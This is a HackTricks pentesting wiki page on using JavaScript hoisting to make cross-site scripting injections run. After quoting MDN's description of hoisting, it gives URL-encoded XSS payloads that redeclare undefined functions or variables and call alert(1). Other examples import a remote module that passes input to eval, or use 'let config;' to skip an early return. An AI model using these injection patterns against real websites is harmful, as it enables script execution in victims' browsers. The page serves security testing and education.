hacktricks/pentesting-web/xss-cross-site-scripting/js-hoisting.md

# JS Hoisting

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## Basic Information

{% hint style="success" %}
JavaScript Hoisting refers to the process whereby the **interpreter appears to move the declaration** of functions, variables, classes, or imports to the **top of their scope, prior to execution of the code**.
{% endhint %}

JavaScript engine will do (at least two) passes over any script. This is a big simplification, but we can think of JS execution as consisting of two steps. **First, the code is parsed**, which includes checking for **syntax errors** and converting it to an abstract syntax tree. This step also includes what we describe as **hoisting,** where certain forms of declarations are “moved”(hoisted) to the top of the execution stack. If the code passes the parsing step, the engine **continues to execute the script**.

1. Any code (including the injected payload) must adhere to the syntax rules. **Nothing will execute if the syntax is invalid** anywhere in the final script.
2. Where in a script code is placed might have importance, but **the text representation of a code snippet is not the same as what is executed** by the runtime in the end. Any language might have rules that decide what order expressions are executed.

### The four types of hoisting

Returning to MDN’s description of hoisting, we can read that there are four kinds of hoisting in JavaScript. Again, directly from MDN:

> 1. Being able to use a variable’s value in its scope before the line it is declared. (“Value hoisting”)
> 2. Being able to reference a variable in its scope before the line it is declared, without throwing a `ReferenceError`, but the value is always `undefined`. (“Declaration hoisting”)
> 3. The declaration of the variable causes behavior changes in its scope before the line in which it is declared.
> 4. The side effects of a declaration are produced before evaluating the rest of the code that contains it.

followed by

> The four function declarations above are hoisted with type 1 behavior; `var` declaration is hoisted with type 2 behavior; [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const), and [`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class) declarations (also collectively called _lexical declarations_) are hoisted with type 3 behavior; [`import`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) declarations are hoisted with type 1 and type 4 behavior.

## Scenarios

Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error):

```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>'); 
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
```

```javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
    return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
```

```javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
    return 1;
}
alert(1);
```

```javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']
```

## More Scenarios

```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//) 
```

```javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
  y: {
    z: function(param) {
      eval(param);
    }
  }
};

export { x };
```

```javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
    if(config){
      return;
    }
    // TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
  } catch {
    fetch("/error", {
      method: "POST",
      body: {
        url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
      }
    })
  }
```

## References

* [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)

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